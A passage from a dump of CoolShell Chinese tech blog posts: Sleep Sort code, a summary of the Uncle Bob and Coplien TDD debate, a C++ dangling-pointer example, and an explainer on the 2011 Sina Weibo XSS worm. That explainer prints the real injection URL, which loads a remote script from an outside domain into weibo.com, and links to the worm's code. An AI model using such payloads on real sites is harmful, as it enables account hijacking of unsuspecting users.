Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![从Code Review 谈如何做技术](../wp-content/uploads/2014/04/code_review-150x150.jpg)](https://coolshell.cn/articles/11432.html)[从Code Review 谈如何做技术](https://coolshell.cn/articles/11432.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\n* [![重构代码的7个阶段](../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif)](https://coolshell.cn/articles/5201.html)[重构代码的7个阶段](https://coolshell.cn/articles/5201.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/4758.html)[如何写出无法维护的代码](https://coolshell.cn/articles/4758.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/3005.html)[代码重构的一个示例](https://coolshell.cn/articles/3005.html)\nThe post [一个空格引发的惨剧](https://coolshell.cn/articles/4875.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-6-23 排序算法 Sleep Sort.md",
    "content": "---\nlayout: post\ntitle: 排序算法 Sleep Sort\ndate: 2011/6/23/ 0:43:18\nupdated: 2011/6/23/ 0:43:18\nstatus: publish\npublished: true\ntype: post\n---\n\n排序算法好像是程序员学习编程最多的算法，也可能是算法研究者们最喜欢研究的算法了。排序有很多很多的算法，比如，冒泡，插入，选择，堆，快速，归并等等（你可以看看本站以前的那些文章：[可视化的排序](https://coolshell.cn/articles/3933.html \"可视化的排序过程\")，[排序算法比较](https://coolshell.cn/articles/399.html \"一个排序算法比较的网站\")，[显示排序过程的python](https://coolshell.cn/articles/536.html \"一个显示排序过程的Python脚本\")）这里向大家介绍一个“巨NB”的排序算法——Sleep Sort。\n\n\n闲言少说，请看下面的代码（用Shell脚本写的）\n\n\n\n```\n#!/bin/bash\nfunction f() {\n    sleep \"$1\"\n    echo \"$1\"\n}\nwhile [ -n \"$1\" ]\ndo\n    f \"$1\" &\n    shift\ndone\nwait\n```\n\n用法如下：\n\n\n./sleepsort.bash 5 3 6 3 6 3 1 4 7\n\n\n相信你可以会去试一下这个脚本，也相你你试完后你一定会说——“**我擦，真TMD排序了！**”，我还是不要解释这段代码了，过多的解释会不如代码那么直接，而且解释会影响你对这个排序算法的NB性。只想说——**这是正二八经的多线程、多进程排序啊**。我们的[Bogo排序](https://coolshell.cn/articles/3933.html \"可视化的排序过程\")也黯然失色啊。\n\n\n下面我们需要对这个算法做一些分析——\n\n\n1）让我们来分析一个这这个程序的算法复杂度，太简单了，不就是O(最大数的秒数)，呵呵。所以，如果出现这样的数列将是恶梦的——2 1 4 3 2 1 99999999\n\n\n2）这个排序好是好，但对于负数或浮点数就有bug了。负数的解决方案是，我们可以这样来：x/2+MaxInt/2（时间可能相当长，不过依然工作）。对于浮点数，看看下面的代码.\n\n\n\n```\n#!/bin/bash\nfunction f() {\n  sleep $(echo \"($2 - 1) + $1 / 10 ^ $2\" | bc -l)\n  echo \"$1\"\n}\nwhile [ -n \"$1\" ]\ndo\n  f \"$1\" $(echo -n \"$1\" | wc -c) &\n  shift\ndone\nwait\n```\n\n3）我们来看看各种语言版本的实现吧。  \n\n**Java**\n\n\n\n```\npublic class SleepSort {\n    public static void main(String[] args) {\n        int[] ints = {1,4,7,3,8,9,2,6,5};\n        SortThread[] sortThreads = new SortThread[ints.length];\n        for (int i = 0; i < sortThreads.length; i++) {\n            sortThreads[i] = new SortThread(ints[i]);\n        }\n        for (int i = 0; i < sortThreads.length; i++) {\n            sortThreads[i].start();\n        }\n    }\n}\nclass SortThread extends Thread{\n    int ms = 0;\n    public SortThread(int ms){\n        this.ms = ms;\n    }\n    public void run(){\n        try {\n            sleep(ms*10+10);\n        } catch (InterruptedException e) {\n            // TODO Auto-generated catch block\n            e.printStackTrace();\n        }\n        System.out.println(ms);\n    }\n}\n```\n\n**Javascript**\n\n\n[javascript]function sleepsort() {  \n\n for (var i = 0, il = arguments.length; i < il; i++) {  \n\n (function(args, index) {  \n\n setTimeout(function() {  \n\n document.body.innerHTML += args[index] + ‘, ‘;  \n\n }, args[index]);  \n\n }(arguments, i));  \n\n }  \n\n};  \n\n[/javascript]\n\n\n**Brainfuck** (关于这门语言，请[参看这篇文章](https://coolshell.cn/articles/4458.html \"BT雷人的程序语言（大全）\"))\n\n\n`,>,>++++++++[<------<------>>-]  \n\n<<[>[>+>+<<-]>>[<<+,>,>++++++++[<------<------>>-]  \n\n<<[ ----------[++++++++++>----------]++++++++++  \n\n>[>+>+<<-]>>[<<+>>-]<<<-] >>>++++++[<++++++++>-]<.>.>>-]<<<-]  \n\n,----------[----------------------.,----------]  \n\n,---<<<+>>>-------[----------------------.,----------]  \n\n>> ----------[++++++++++>----------]++++++++++  \n\n>++++++[<++++++++>-]< ----------[++++++++++>----------]++++++++++  \n\n.>. ----------[++++++++++>----------]++++++++++  \n\n>++>+<<-]>>[<<+>>-]<<<-] >>[>[>+>+<<-]>>[<<----------[++++++++++>----------]++++++++++  \n\n>++,>,>++++++++[<------<------>>-]  \n\n<<`\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Cuckoo Filter：设计与实现](../wp-content/uploads/2015/08/cuckoo-150x150.jpg)](https://coolshell.cn/articles/17225.html)[Cuckoo Filter：设计与实现](https://coolshell.cn/articles/17225.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![【活动】解迷题送礼物](../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg)](https://coolshell.cn/articles/11832.html)[【活动】解迷题送礼物](https://coolshell.cn/articles/11832.html)\n* [![二维码的生成细节和原理](../wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg)](https://coolshell.cn/articles/10590.html)[二维码的生成细节和原理](https://coolshell.cn/articles/10590.html)\n* [![伙伴分配器的一个极简实现](../wp-content/uploads/2013/10/buddy-memory-allocation-150x150.jpg)](https://coolshell.cn/articles/10427.html)[伙伴分配器的一个极简实现](https://coolshell.cn/articles/10427.html)\nThe post [排序算法 Sleep Sort](https://coolshell.cn/articles/4883.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-6-27 Bob大叔和Jim Coplien对TDD的论战.md",
    "content": "---\nlayout: post\ntitle: Bob大叔和Jim Coplien对TDD的论战\ndate: 2011/6/27/ 0:41:23\nupdated: 2011/6/27/ 0:41:23\nstatus: publish\npublished: true\ntype: post\n---\n\n今年春节时，我写了一篇《[TDD并不是看上去的那么美](https://coolshell.cn/articles/3649.html \"TDD并不是看上去的那么美\")》，在这篇文章中我列举了一些关于使用TDD的一些难点和对TDD的质疑，后来出现了一些争论（可参见那篇文章的评论），以及Todd同学的《[TDD到底美不美](https://coolshell.cn/articles/3766.html \"[转]TDD到底美还是不美？\")》，还有infoQ中文上的那个[几乎没有营养离线讨论](http://www.infoq.com/cn/articles/virtual-panel-tdd \"虚拟座谈会：TDD有多美？\")。今天，有网友给我推来一个英文版infoQ的视频——“[Coplien and Martin Debate TDD, CDD and Professionalism](http://www.infoq.com/interviews/coplien-martin-tdd \"Coplien and Martin Debate TDD, CDD and Professionalism\")”，这是2008年2月18日的视频，视频的主角两个人争论TDD好还是不好，一个是敏捷社区的教主级的人物——Robert Martin（大家称之为“Bob大叔”），另一个是C++，OO，多范式编程的大师[Jim Coplien](http://en.wikipedia.org/wiki/Jim_Coplien)（大家都叫他Cope）。这两个人对TDD的见解有分歧。Coplien的很多观点和我之前的不谋而合，而他自己称他是坚决强烈地站在TDD的对立面上。下面是Jim的原话：\n\n\n\n> I have adopted a very strong position against what particularly the XP community is calling test driven development.\n> \n> \n\n\nInfoQ的视频很多时候相当的不给力，就像有前列腺的患者撒尿一样，半天都挤不出一滴。不过，好在那里有这两个人对话的摘录。在这里，我给大家摘要一下：\n\n\n——————————————————正文分割线————————————————————\n\n\nCoplien首先让Uncle Bob定义了一下TDD，Uncle Bob说明了他的三个法则：（敏捷的同学一定不陌生）\n\n\n1. 一个测试驱动的程序员，其不会在写出一个测试失败的Unit Test前，去写一句可用在生产线上的代码。（没有测试之前不要写任何功能代码）\n2. 在编写用于生产线上代码之前，不写过多的测试失败的Unit Test。（只编写刚好能体现一个失败情况的测试代码）\n3. 在现有代码通过Unit Test前，不写更多的用于生产线上的代码。（只编写恰好能通过测试的功能代码）\n\n\nCoplien说他有意见的不是这三个法则，而是因为这个三个法则是孤立说出来的。Coplien说他和一些咨询师或是Scrum Master参与过很多的项目，他们发现这些项目都有两个问题：\n\n\n1. 他们使用TDD的时候，软件没有一个架构或是framework。当然，Kent Beck说——TDD可以驱使你去做架构。但是，**TDD和Unit Test 是一回事吗？**Unit Test是一个伟大的事，尤其是当你去写API和类库的时候。今天XP所说的TDD和UT很不一样。如果你使用TDD来驱动你的软件系统架构，那么，**基本上来说，三个迭代以后，你开发的软件就会crash掉，而且无法再往前开发**。 因为什么？因为连软件团队自己都受不了这三个迭代出来的架构，而且你还会发现，你根本没去去重构。\n2. 第二个问题是，TDD这种方法破坏了GUI（图形界面），就算是Kent也说：“**你永远不可以在一个漂亮的界面后面隐藏一个糟糕的架构**”，Coplien强烈地相信软件的架构是通过界面来发出其光芒。他觉得如果没有一个好的软件架构，这个会影响用户的操作。\n\n\nCoplien接着说，如果我们使用Uncle Bob的三条法则，我们也许没有什么问题，**但Coplien想告诉大家另一个非常重要的事，那就是软件架构。并说：“我根本不接受TDD是软件专业化实践的论点”**。\n\n\n\nBob大叔说，让我们回到99年，那时的敏捷社区觉得软件架构是无关的，不需要软件架构，只需要做一堆tests，做一堆stories，以及足够快的迭代，这样就可以让那些代码魔幻式地拼装起来，这就是horse shit。对于大多数的敏捷拥护者来说，这的确是愚蠢的。今天你再和Knet说这个事，他也会说那不过是一种说法。\n\n\nCoplien回应到，实际上，Knet在解释XP的时候，在他的书131页的位置说过，“是的，你得做些前期的架构，但也别把自己搞乱了”。\n\n\nBob大叔把话题转回来，继续聊关于架构方面的事，他说软件的架构很重要，他也写很一些关于架构的书，他说他也是一个架构方面的怪才，但是他认为架构自己并不会形成软件的所有的外表。他觉得好的软件架构和设计能力应该出现在若干次迭代之后。他觉得你在架构软件的时候，你会创造一些东西，也会破坏一些东西，并且会在几次迭代中做一些试验性的工作，来尝试一下不同的架构。**在2到3次迭代以后，你可以知道那一种架构是对的，这样，你可以在后面的迭代中进行调整 。因此，他认为架构是需要进化和发展的，而不会因为被可执行的代码所形成，也不会因为你所写的测试而形成**。\n\n\nCoplien赞同架构进化的观点，而且他相信软件的架构的演变和进化不是因为你写的代码，也不是因为Use Case，也不是告诉你你的软件需求的范围和其中的关系，但是如果你做的方法是以增量式的，以用户驱动式的，而你却在和用户沟通时没有一些前期的业务知识，那么这一定是相当有风险的，并且你一定会把事搞砸的。\n\n\nCoplien接着说，他在Knet早期提到TDD的时候和Knet时，提到YAGNI（陈皓注：You Aren’t Gonna Need It，XP的一个法则，也就是只做最简单的事）时，Kent说到：“让我们来做一个银行帐户，一个储蓄帐户”，储蓄帐户其实就是对余额进行一些加加减减的事，就像一个计算器一样。Copilen继续解释到，但是如果你要做一个真正的银行系统，你的软件架构根本不可能从一个储蓄帐户的对象（计算器）重构出来。因为储蓄帐户根本就不是一个对象，其是一个流程，后面有一个数据库的查帐索引事务，还有存款保证多和利息，还有一些转帐功能。就算是这样，这也只是用户的功能，你还需要支持税务人员和精算会计师等这些人，**这会让银行系统成为一个错综复杂的软件架构，这绝对不是你可以用迭代干出来的事。当然，Bob大叔是可以的，因为他有40年的银行系统的经验。但是Bob大叔你的这40年可真不敏捷啊**。\n\n\nCoplien接着说， 因为Bob大叔可以在软件前期做很多很重要的决定，这让得后面的事变得相对比较简单。Coplien根本不相信只要你把代码往那一放，在上面披上一层皮，再设置好一些角色，设置好接口，在文档里写上整个业务结构，而你只有在有人花钱的时候你才会在其中填充进真正的代码，反之就违反了你的YAGNI原则。所以，你只是在你需要的时候做你要做的事，但你却还是要提前得到你的软件架构，否则你一定会把你自己逼进死角的。\n\n\nBob大叔辩解到，我说的可能和你说的这个有点不同。我们应该不会像你所说的往接口中写一些抽象成员函数，而是创建一些有抽象接口的对象。当然，我不会把一下子为这个对象装载上一堆方法。那些是我需要使用测试驱动或是需求驱动来做的事，我还会随时随地在看是否哪里软件架构可以让我拆分接口。\n\n\nCoplien说，问题 是你得知道你要干什么？他说他非常同意Knet的书”XP Explained”里说的——“你不能去猜”，然后他举了一个例子，一个他曾经在一个电信项目中重新架构软件的例子，这是一个长途交换机的项目，项目组特别喜欢用面向对象，有一个人需要去做一个“Recovery Object”（应该是系统恢复对象），Coplien说这是很扯的一件事，因为系统恢复根本就不是一个对象，因为他对业务不熟，所以想这么做。而当你在细节上分析的时候，你会发现这根本就不是一个有成员方法的对象。我个人认为，Coplien想用这个例子来说Bob大叔的先定义对象的抽象接口并不是一个好的需求分析的方法。Coplien还说，这个事情今天被资本化成了SOA，真是在玩火啊。\n\n\nBob大叔说，这个他很同意。你的确需要知道这个对象的意义是什么。而且他和Coplien都同意应该根据可运行的代码来决定未来，而不是基于投机心理搞一个巨大无比的架构。\n\n\n此时，Bob大叔把话题又带回原地，他问Coplien：“你需要多少的时间才能写出可运行的代码？是不是一个系统需要写200万行代码才能算？”，Coplien说，在他的经历中，200万行代码算是小项目了，他的项目都是几亿行代码的。而在让代码可以跑起来，他至少需要让所有的对象都联系起来。\n\n\nBob追问到，“那么你是怎么测试这些对象的连接性的？”，Coplien说，我当然要测试，我会测试系统启动和停止，看看有没有内存问题，半小时就好了。Bob大叔似乎找到了突破点，于是说到：“Excellent！那么我们间的分歧是什么呢？也许你只是不同意TDD的概念和其专业化，当然，这是另外一个话题了”。\n\n\n然后，Coplien说了一段我非常非常认同的话——“我看到很多人正在做正确的事，来避免我们之前讨论的那些问题，当然那不是TDD的扩展，而是Dan North所说的BDD。可见，软件开发中很多人在开发软件中都是在用正确的很好的方法，而我对此有意见的是，有人把这个事说成TDD，然后人们就去买相关的书来了解TDD，并且看到“architecture only comes from tests”，我在过去6个月中听到过4次这样的说法，这就像你所说的，完全就是horse shit。而关于你所说的专业化的事，如果你没有见过一个专业化你怎么知道？”。（不是吗？大多数人都知道怎么开发软件，而不是TDD才是专业化的软件开发。）\n\n\n然后，Bob想多谈谈专业化的事，Bob说，在今天，一个不负责任的程序会提交一段他没有跑过单元测试的代码，所以，要确定你没有把一条没有测试过的代码提交到代码库里的最佳做法就是TDD。\n\n\nCoplien完全不同意这个说法。他觉得底层的东西是更重要的。他用了一个示例来攻击Bob大叔的这个观点，他先是说代码走查和结对编程都有好的有价值的地方，当然和这个话题不相关。然后他又说了Unit Test，想想我们的单元测试，可能我们的测试案例并不可能测试我们程序中参数的各种状态，这些状态有可能只是半打，有可能是一百个，有可能是2的32次方个，所以，我们可以命中一些状态，也会没有测试到一些状态，我们的测试真的只是试验性的，所以，如果你在测试中发现bug，你真的很幸运。\n\n\n随后，Coplien推崇了一个叫“[Design By Contrac](http://en.wikipedia.org/wiki/Design_by_contract)t” – 契约式设计的方法（我在[软件设计中那些方法](https://coolshell.cn/articles/4535.html \"一些软件设计的原则\")中提到过，），这个方法认为软件有前验条件，后验条件，还有不变的。这个方法是Eiffel项目使用的一个方法，使用这个方法你可以静态的去做一些检查，相当于你做了一个基础架构来干这些事。Coplien相信这个方法有TDD所有的优点——我需要努力思考我的代码，我需要思考软件的外部接口，而且，Coplien发现这么做会比做测试更有效。这会让你对那些参数的范围考虑地更为宽广，而不是只在测试案例写几个随机分散的值来测试。\n\n\n今天，Bertrand Meyer(Eiffel语言的创造者，他也不赞同TDD)把这个方法推进了一步，叫CDD – Contract Driven Development，这个是一种关注于对象间关系，其在程序运行前提条件和运行后的后验条中达成一种契约，可以通过对契约条件的动态或静态的检查，来对程序的功能进行验证。这样可以让你更有效地测试程序。这种方法需要对业务的重点部位非常好的了解。这是TDD很难做到的（这就是我在《[TDD并不是看上去的那么美](https://coolshell.cn/articles/3649.html \"TDD并不是看上去的那么美\")》一文中说的TDD的测试范围是个很大的问题）。\n\n\nBob大叔似乎在努力回忆CDD和Eiffel，然后他说，TDD不就是干这个的吗？TDD就是把契约变成单元测试，不但测试输入，也测试返回值，这不就是先验条件和后验条件，而且他说，Unit Test和代码结合得更紧，而契约没有和代码结合得紧密，这是他觉得很不舒服的地方。\n\n\nCoplien说Bob大叔创建了不应该创建的二元论。他说代码在哪里，UT就跟到哪里，代码有多臃肿，UT就有多臃肿，而UT也是代码，也会有BUG，所以，其实这真是事半功倍。还有一个最有名的示例是ADA编译器，其使用了TDD，反而增加了代码中的BUG，因为你的代码多，测试就多，代码就更多，整个代码就太过臃肿。如果你测试中使用了断言，这意味着你就耦合上了代码，你的测试案例和你的代码耦合地越多，你的代码就越难维护。这就是我在《[TDD并不是看上去的那么美](https://coolshell.cn/articles/3649.html \"TDD并不是看上去的那么美\")》一文中说的TDD的代码臃肿和维护问题）\n\n\nBob大叔为Coplien对代码臃肿的说法感到惊讶。Coplien说，这就是他的经历，他看到的。Bob大叔承认有很多混乱的测试和混乱的代码，他觉得像XUnit这样的工具被滥用了。Coplien打断道，这不是要和你争论的，我争论的是这就是我看到大家在实践的东西。\n\n\nBob大叔反回到，你有没有看到CDD也被滥用的情况？Coplien说，他只觉得目前，软件业对CDD用的还不够。\n\n\n最后，时间不够了，Bob大叔问了一个不相干的问题，他说，我们这里有BDD,CDD, TDD, 关于DD，他不知道谁是最先第一个使用带DD这个词的，他说他好像记得一个RDD – Responsibility Driven Development。\n\n\nCoplien对这个问题可能很无语，他只能说——“DD，这是Unix的一个命令嘛，Disk Dump，但这可能算。谢谢你Bob，很高兴又一次见到你 ”\n\n\n——————————————————正文分割线————————————————————\n\n\n看完后，我的感觉如下：\n\n\n* 这是2008年就在讨论的事，而在2011年我发布了《[TDD并不是看上去的那么美](https://coolshell.cn/articles/3649.html \"TDD并不是看上去的那么美\")》后中国这边才开始讨论。（InfoQ和 Thoughtworks怎么不去找Coplien？）\n* 英语很重要，不懂英语，只看国内的东西，你就容易被洗脑，你就需要更多的时间和精力去思考那些早被人思考过的问题。\n* 开发和测试，都是需要充分地了解业务，充分的思考，充分权衡后才能做得好的事。并不是你用了哪个方法后就专业了，就NB了。\n* 相当BS——上不谈业务，下不谈技术，只谈方法论的人和公司，这是绝对的扭曲。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![“单元测试要做多细？”](../wp-content/uploads/2012/09/fight-150x150.jpg)](https://coolshell.cn/articles/8209.html)[“单元测试要做多细？”](https://coolshell.cn/articles/8209.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5531.html)[Test-Driven Development？别逗了](https://coolshell.cn/articles/5531.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/5143.html)[在新浪微博上关于敏捷的一些讨论](https://coolshell.cn/articles/5143.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/3778.html)[敏捷水管工](https://coolshell.cn/articles/3778.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/3745.html)[再谈敏捷和ThoughtWorks中国咨询师](https://coolshell.cn/articles/3745.html)\n* [![[转]TDD到底美还是不美？](https://coolshell.cn/wp-content/uploads/2011/02/feedback_cycle-150x150.jpg)](https://coolshell.cn/articles/3766.html)[[转]TDD到底美还是不美？](https://coolshell.cn/articles/3766.html)\nThe post [Bob大叔和Jim Coplien对TDD的论战](https://coolshell.cn/articles/4891.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-6-28 在函数外存取局部变量的一个比喻.md",
    "content": "---\nlayout: post\ntitle: 在函数外存取局部变量的一个比喻\ndate: 2011/6/28/ 3:35:52\nupdated: 2011/6/28/ 3:35:52\nstatus: publish\npublished: true\ntype: post\n---\n\n在StackOverflow上一这样一个[关于C/C++的问题](http://stackoverflow.com/questions/6441218/can-a-local-variables-memory-be-accessed-outside-its-scope/6445794#6445794)，问问题的人给了一个代码如下：\n\n\n\n```\nint * foo()\n{\n    int a = 5;\n    return &a;\n}\n\nint main()\n{\n    int* p = foo();\n    cout << *p;\n    *p = 8;\n    cout << *p;\n}\n```\n\n你可以编译并运行这个代码（编译时会有一个Warning），结果是：5 8。看上去你可以存取一个函数内的局部变量。但这和我们理解的不一样——函数内的变量在函数退出时就被释放了，不应该在外部还可以被引用。当然，对于C/C++熟悉的人都知道其实并不是真正的释放，你依然还可以通过内存地址去进行操作，这是C/C++的内存管理的不安全性——指针可以用来乱指。\n\n\n这个问题的解答是比较简单的，但是这个问题有一个答案中的[比喻非常精彩](http://stackoverflow.com/questions/6441218/local-variables-memory-can-be-accessed-outside-its-scope/6445794#6445794)。这个比喻是这样的——\n\n\n你在某个酒店订了一个房，你入住的时候，你放了一本书在这个酒店的抽屉里，但是你走的时候，你忘了这本书。而且，你还没有把这个房间的钥匙还回去。于是，你在未来某个时候，偷偷地回来，打开这个房间的门，你看到了你的书还在里间。当然，还还可以放回别的书。因为，这个酒店管理不会在你走的时候把你留下的书清走，而且，这个酒店的管理的安保措施不是那么严格，因为他信任每一个客人都会遵守管理条例。\n\n\n在这种情况下，如果你幸运的话，书还会在那里，也可能你的书已经没了。也有可能当你回去的时候，有一个人在那里正在撕你的书，或者酒店把那个抽屉都挪走并变成衣柜，或是整个酒店正在被拆除以改成了一个足球场，而你偷偷摸摸进到施工现场的时候被炸死。\n\n\n真是很精彩的比喻。这就是C/C++的不安全的地方，也正是Linus说的，[C++是一门恐怖的语言是因为有很多不合格的程序员在使用它](https://coolshell.cn/articles/1724.html)。就像你看到小孩子玩火一样的恐怖。\n\n\n关于这个事，还有一个比较经典的示例如下—— 函数a的初始化会影响函数b的数组。注意函数a中的 `volatile` 关键字。\n\n\n\n```\n#include <iostream>\nusing namespace std; \nvoid a()\n{\n    volatile int array[10];\n    for (int i = 0; i < 10; i++)\n        array[i] = i;\n}\n\nvoid b()\n{\n    int array[10];\n    for (int i = 0; i < 10; i++)\n        cout << array[i];\n}\n\nint main()\n{\n    a();\n    b();\n}\n```\n\n真是可爱的C/C++。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [在函数外存取局部变量的一个比喻](https://coolshell.cn/articles/4907.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-6-28 新浪微博的XSS攻击.md",
    "content": "---\nlayout: post\ntitle: 新浪微博的XSS攻击\ndate: 2011/6/28/ 15:10:18\nupdated: 2011/6/28/ 15:10:18\nstatus: publish\npublished: true\ntype: post\n---\n\n今天晚上（2011年6月28日），新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如：“郭美美事件的一些未注意到的细节”，“建党大业中穿帮的地方”，“让女人心动的100句诗歌”，“3D肉团团高清普通话版种子”，“这是传说中的神仙眷侣啊”，“惊爆!范冰冰艳照真流出了”等等微博和私信，并自动关注一位名为hellosamy的用户。\n\n\n事件的经过线索如下：\n\n\n* 20:14，开始有大量带V的认证用户中招转发蠕虫\n* 20:30，2kt.cn中的病毒页面无法访问\n* 20:32，新浪微博中hellosamy用户无法访问\n* 21:02，新浪漏洞修补完毕\n\n\n \n\n\n![新浪微博XSS事件](../wp-content/uploads/2011/06/sina_xss01.png \"新浪微博XSS事件\")新浪微博XSS事件\n \n\n\n在这里，想和大家介绍一下XSS攻击，XSS攻击又叫跨站脚本式攻击，你Google一下可以搜到很多很多的文章。我在这里就简单地说一下。\n\n\n\n首先，我们都知道网上很多网站都可以“记住你的用户名和密码”或是“自动登录”，其实是在你的本地设置了一个cookie，这种方式可以让你免去每次都输入用户名和口令的痛苦，但是也带来很大的问题。试想，如果某用户在“自动登录”的状态下，如果你运行了一个程序，这个程序访问“自动登录”这个网站上一些链接、提交一些表单，那么，也就意味着这些程序不需要输入用户名和口令的手动交互就可以和服务器上的程序通话。这就是XSS攻击的最基本思路。\n\n\n再说一点，不一定是“记住你的用户名和密码”或是“自动登录”的方法，因为HTTP是无状态的协议，所以，几乎所有的网站都会在你的浏览器上设置cookie来记录状态，以便在其多个网页切换中检查你的登录状态。而现在的浏览器的运行方式是多页面或多窗口运行，也就是说，你在同一个父进程下开的多个页面或窗口里都可以无偿和共享使用你登录状态的。\n\n\n当然，你不必过于担心访问别的网站，在别的网站里的js代码会自动访问你的微博或是网银。因为浏览器的安全性让js只能访问自己所在网站的资源（你可以引入其它网站的js）。当然，这是浏览器对js做的检查，所以，浏览器并不一定会做这个检查，这就是为什么[IE6是史上最不安全的浏览器](https://coolshell.cn/articles/3921.html \"中国仍是IE6的重灾区\")，没有之一。只要你没有在用IE6，应该没有这些问题。\n\n\nXSS攻击有两种方法，\n\n\n* 一种就像SQL Injection或CMD Injection攻击一样，我把一段脚本注入到服务器上，用户访问方法服务器的某个URL，这个URL就会把远端的js注入进来，这个js有可能自动进行很多操作。比如这次事件中的帮你发微博，帮你发站内消息等。注入有很多方法，比如：提交表单，更改URL参数，上传图片，设置签名，等等。\n\n\n* 另一类则是来来自外部的攻击，主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点，我们自己构造一个跨站网页放在自己的服务器上，然后通过结合其它技术，如 社会工程学等，欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低，至少ajax 要发起跨站调用是非常困难的（你可能需要hack浏览器）。\n\n\n这次新浪微博事件是第一种，其利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入了js脚本，其通过http://163.fm/PxZHoxn短链接服务，将链接指向：\n\n\nhttp://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update\n\n\n注意，上面URL链接中的其实就是<script src=//www.2kt.cn/images/t.js></script>。\n\n\n攻击者并不一定是2kt.cn的人，因为.cn被国家严格管制（大家不知道coolshell.cn 的备案备了不知有多少次），所以，我个人觉得这个人不会愚蠢到用自己域名来做攻击服务器。\n\n\n#### 其它\n\n\n* 初步发现 Chrome 和 Safari 都没中招。IE、Firefox未能幸免。\n* 史上最著名的XSS攻击是Yahoo Mail 的[Yamanner](http://en.wikipedia.org/wiki/Yamanner) 蠕虫是一个著名的XSS 攻击实例。早期Yahoo Mail 系统可以执行到信件内的javascript 代码。并且Yahoo Mail 系统使用了Ajax技术，这样病毒javascript 可以的向Yahoo Mail 系统发起ajax 请求，从而得到用户的地址簿，并发送攻击代码给他人。\n* 为什么那个用户叫hellosamy，因为[samy](http://en.wikipedia.org/wiki/Samy_(XSS))是第一个XSS攻击性的蠕虫病毒，在MySpace上传播。\n* 关于攻击的代码在这里：[06.28\\_sina\\_XSS.txt](https://coolshell.cn/wp-content/uploads/2011/06/06.28_sina_XSS.txt.zip) （编码风格还是很不错的）\n\n\n（全文完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* 